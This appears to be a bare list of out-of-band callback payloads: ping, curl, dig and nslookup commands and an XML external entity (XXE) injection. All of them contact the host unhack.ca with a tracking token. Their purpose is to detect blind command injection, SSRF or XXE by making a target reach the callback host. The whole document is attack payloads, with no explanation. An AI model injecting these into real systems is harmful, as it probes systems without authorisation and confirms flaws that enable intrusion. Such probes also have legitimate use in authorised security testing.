$ ping -c1 -p 00b101897ff08b4a43ab5f50ca37dc00 unhack.ca
$ curl http://unhack.ca/p/b101897ff08b4a43ab5f50ca37dc
$ dig b101897ff08b4a43ab5f50ca37dc @unhack.ca
$ dig b101897ff08b4a43ab5f50ca37dc.ns.unhack.ca
C:\> nslookup b101897ff08b4a43ab5f50ca37dc unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/b101897ff08b4a43ab5f50ca37dc">]> <foo>&xxe;</foo>